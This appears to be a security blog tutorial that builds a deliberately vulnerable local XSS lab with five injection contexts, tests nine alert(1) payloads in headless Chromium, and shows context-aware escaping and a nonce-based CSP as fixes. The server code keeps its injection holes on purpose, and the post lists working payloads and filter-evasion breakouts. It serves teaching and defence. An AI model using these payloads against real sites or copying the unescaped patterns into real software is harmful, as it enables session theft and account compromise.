XSS by Context: A Browser-Verified Lab for Five Sinks, Escaping, and CSP
A small vulnerable server with five XSS contexts, tested in a real browser: which payloads fire, why innerHTML ignores script tags, what context-aware escaping fixes, and the one case a nonce-based CSP does not stop.
XSS by Context: A Browser-Verified Lab for Five Sinks, Escaping, and CSP
"Reflected, stored, DOM-based" tells you where a payload is stored. It does not tell you which payload will work. That depends on the context: the place in the HTML, attribute, or script where your input ends up. This post builds one small server with five contexts and runs every payload in headless Chromium. A payload is marked as firing only if the browser actually opened an alert dialog.
Three things come out of the lab that most XSS cheat sheets get wrong or leave out:
<script>inserted throughinnerHTMLis parsed but never runs. Event-handler payloads do run.- Escaping has to match the context. HTML escaping does nothing for a
javascript:URL. - A strict nonce-based CSP stopped 8 of 9 payloads with no escaping at all. The one it missed is injection inside a script block the page already trusts.
Run it locally only. It binds to 127.0.0.1.
The lab
"""Deliberately vulnerable XSS lab. Binds to 127.0.0.1 only."""
import html, json, sys
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
MODE = sys.argv[1] if len(sys.argv) > 1 else "vuln"
SAFE = MODE == "safe"
CSP_ONLY = MODE == "csp" # vulnerable code + nonce-based CSP
def esc(s): # HTML body and quoted attributes
return html.escape(s, quote=True)
def js_str(s): # inside a <script> block
return json.dumps(s).replace("<", "\\u003c")
def safe_url(s): # href: only http(s) and relative URLs
return s if s.startswith(("http://", "https://", "/")) else "#"
class H(BaseHTTPRequestHandler):
def log_message(self, *a): pass
def do_GET(self):
u = urlparse(self.path); q = parse_qs(u.query)
v = lambda k: q.get(k, [""])[0]
if u.path == "/body":
out = f"<p>Results for: {esc(v('q')) if SAFE else v('q')}</p>"
elif u.path == "/attr":
out = f'<input name="q" value="{esc(v("q")) if SAFE else v("q")}">'
elif u.path == "/js":
out = (f"<script>var user = {js_str(v('name'))};</script>" if SAFE
else f"<script>var user = '{v('name')}';</script>")
elif u.path == "/link":
out = f'<a id="site" href="{esc(safe_url(v("url"))) if SAFE else v("url")}">website</a>'
elif u.path == "/dom":
sink = "textContent" if SAFE else "innerHTML"
out = ('<div id="greeting"></div><script>'
'const name = decodeURIComponent(location.hash.slice(1));'
f'document.getElementById("greeting").{sink} = "Hello " + name;</script>')
else:
self.send_response(404); self.end_headers(); return
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
if CSP_ONLY:
# The app's own script blocks carry the nonce; injected markup cannot know it.
out = out.replace("<script>", '<script nonce="r4nd0m">', 1) if u.path in ("/js", "/dom") else out
self.send_header("Content-Security-Policy", "script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'")
self.end_headers()
self.wfile.write(f"<!doctype html><html><body>{out}</body></html>".encode())
HTTPServer(("127.0.0.1", {"vuln": 8090, "safe": 8091, "csp": 8092}[MODE]), H).serve_forever()python3 xss_lab.py # vulnerable :8090
python3 xss_lab.py safe # context-aware escaping :8091
python3 xss_lab.py csp # vulnerable + CSP :8092The nonce is a fixed string here so the lab stays readable. In production it must be random and different for every response.
The checker
A payload counts only if Chromium raised a dialog. Reading the HTML and guessing is how false positives end up in reports.
const { chromium } = require('playwright');
const cases = [
['/body', 'q', '<script>alert(1)</script>'],
['/body', 'q', '<img src=x onerror=alert(1)>'],
['/attr', 'q', '"><script>alert(1)</script>'],
['/attr', 'q', '" autofocus onfocus="alert(1)'],
['/js', 'name', "';alert(1);//"],
['/js', 'name', '</script><script>alert(1)</script>'],
['/link', 'url', 'javascript:alert(1)', 'click'],
['/dom', null, '<script>alert(1)</script>'],
['/dom', null, '<img src=x onerror=alert(1)>'],
];
(async () => {
const b = await chromium.launch();
for (const port of [8090, 8091, 8092]) {
for (const [path, param, payload, action] of cases) {
const p = await b.newPage();
let fired = false;
p.on('dialog', async d => { fired = true; await d.dismiss(); });
const url = param
? `http://127.0.0.1:${port}${path}?${param}=${encodeURIComponent(payload)}`
: `http://127.0.0.1:${port}${path}#${encodeURIComponent(payload)}`;
await p.goto(url); await p.waitForTimeout(400);
if (action === 'click') { await p.click('#site').catch(() => {}); await p.waitForTimeout(400); }
console.log(port, fired ? 'FIRES ' : 'blocked', path, payload);
await p.close();
}
}
await b.close();
})();Results on the vulnerable server
FIRES /body <script>alert(1)</script> | <p>Results for: <script>alert(1)</script></p>
FIRES /body <img src=x onerror=alert(1)> | <p>Results for: <img src="x" onerror="alert(1)"></p>
FIRES /attr "><script>alert(1)</script> | <input name="q" value=""><script>alert(1)</script>">
FIRES /attr " autofocus onfocus="alert(1) | <input name="q" value="" autofocus="" onfocus="alert(1)">
FIRES /js ';alert(1);// | <script>var user = '';alert(1);//';</script>
FIRES /js </script><script>alert(1)</script> | <script>var user = '</script><script>alert(1)</script>';
FIRES /link javascript:alert(1) | <a id="site" href="javascript:alert(1)">website</a>
blocked /dom <script>alert(1)</script> | <div id="greeting">Hello <script>alert(1)</script></div>
FIRES /dom <img src=x onerror=alert(1)> | <div id="greeting">Hello <img src="x" onerror="alert(1)"></div>The right column is the DOM after the payload landed. Go through it context by context.
HTML body
Input lands between tags. Anything that creates an element works. <script> is the obvious choice. <img src=x onerror=...> is the more useful one, because it also works in the DOM case below and survives naive filters that only look for the word script.
Attribute value
Input lands inside value="...". To get out you need the character that closes the attribute, here ". There are two ways out:
- Close the attribute and the tag, then write new markup (
"><script>...). - Stay in the tag and add an attribute (
" autofocus onfocus="...). This avoids<and>entirely, which matters when a filter strips angle brackets but forgets quotes.
If the attribute is unquoted (value=INPUT), a space is enough to break out. Always check how the attribute is quoted before you pick a payload.
JavaScript string
Input lands inside '...' in a script block. There are two different breakouts:
';alert(1);//closes the string and injects a statement. This is a JavaScript-level escape.</script><script>...ignores JavaScript entirely. The HTML parser ends the script block at the first</script>, even inside a string. This is an HTML-level escape.
The second one is why "escape quotes in JS strings" is not enough. You also have to neutralize <.
URL in href
javascript:alert(1) contains no <, >, ", or '. HTML escaping passes it through unchanged, and the payload fires when someone clicks the link. URL sinks need a scheme allowlist, not escaping.
DOM sink: why the script tag was blocked
innerHTML received <script>alert(1)</script>, and the tag is visible in the DOM. It did not run. The HTML standard says scripts inserted through innerHTML are not executed. The <img onerror> payload ran in exactly the same sink, because event handlers are not affected by that rule.
When you test a DOM sink and the classic script payload "doesn't work", do not mark it safe. Try an event handler.
Fix 1: context-aware escaping
The safe mode applies a different encoder per context:
| Context | Encoder in the lab | Why |
|---|---|---|
| HTML body, quoted attribute | html.escape(s, quote=True) | <, >, &, ", ' become entities |
| JS string in a script block | json.dumps(s) + < to < | valid JS string literal, and the HTML parser never sees </script> |
| href | allowlist http://, https://, /, then HTML-escape | blocks javascript: and data: |
| DOM | textContent instead of innerHTML | the browser treats the value as text, never as markup |
blocked /body <script>alert(1)</script> | <p>Results for: <script>alert(1)</script></p>
blocked /body <img src=x onerror=alert(1)> | <p>Results for: <img src=x onerror=alert(1)></p>
blocked /attr "><script>alert(1)</script> | <input name="q" value=""><script>alert(1)</script>">
blocked /attr " autofocus onfocus="alert(1) | <input name="q" value="" autofocus onfocus="alert(1)">
blocked /js ';alert(1);// | <script>var user = "';alert(1);//";</script>
blocked /js </script><script>alert(1)</script> | <script>var user = "</script><script>alert(1)</script>";</script>
blocked /link javascript:alert(1) | <a id="site" href="#">website</a>
blocked /dom <script>alert(1)</script> | <div id="greeting">Hello <script>alert(1)</script></div>
blocked /dom <img src=x onerror=alert(1)> | <div id="greeting">Hello <img src=x onerror=alert(1)></div>All nine are blocked, and every input is still displayed exactly as typed. Escaping does not remove data, it changes how the browser interprets it.
In a real application, use the framework's default encoding (React JSX, Jinja2 autoescape, Razor, Go html/template) and audit the places where people opt out: dangerouslySetInnerHTML, |safe, v-html, [innerHTML], Html.Raw, and template.HTML.
Fix 2: CSP alone, without escaping
Port 8092 runs the vulnerable code with one header:
Content-Security-Policy: script-src 'nonce-r4nd0m'; object-src 'none'; base-uri 'none'The page's own script blocks carry the nonce. Injected markup cannot know it.
blocked /body <script>alert(1)</script>
blocked /body <img src=x onerror=alert(1)>
blocked /attr "><script>alert(1)</script>
blocked /attr " autofocus onfocus="alert(1)
FIRES /js ';alert(1);//
blocked /js </script><script>alert(1)</script>
blocked /link javascript:alert(1)
blocked /dom <script>alert(1)</script>
blocked /dom <img src=x onerror=alert(1)>Eight out of nine are blocked: new script elements without the nonce, inline event handlers, and javascript: URLs. The one that fires is ';alert(1);// in the JS context. That payload does not create a new script. It edits a script the page already marked as trusted, so the browser runs it with the nonce attached.
(If you inspect the DOM yourself, the nonce attribute appears empty. Browsers hide the value from the DOM so that injected CSS or scripts cannot read it.)
The lesson is the order of defenses. Escaping is the fix. CSP is the safety net that limits the damage when an escaping bug slips through, and it cannot protect data you place inside a trusted script. Avoid writing user data into inline scripts. Put it in a data- attribute or a JSON block with type="application/json", and read it from there.
Testing checklist
- For every reflection, write down the exact context: body, quoted or unquoted attribute, JS string, URL, CSS, or a DOM sink.
- Pick the payload for that context. Do not fire the same
<script>everywhere. - Confirm execution in a real browser, not by reading the HTML.
- For DOM sinks, test an event-handler payload before you conclude the sink is safe.
- Read the CSP header and look for
unsafe-inline,unsafe-eval, wildcard hosts, or a missingbase-uri. - For stored XSS, check every place the value is rendered later: admin panels, exports, emails, notifications.
- In the report, show the vulnerable context, the minimal payload, the browser evidence, and the encoder that fixes it.
For the database side of the same reasoning, the NoSQL injection series builds its target the same way.
What do you think?
React to show your appreciation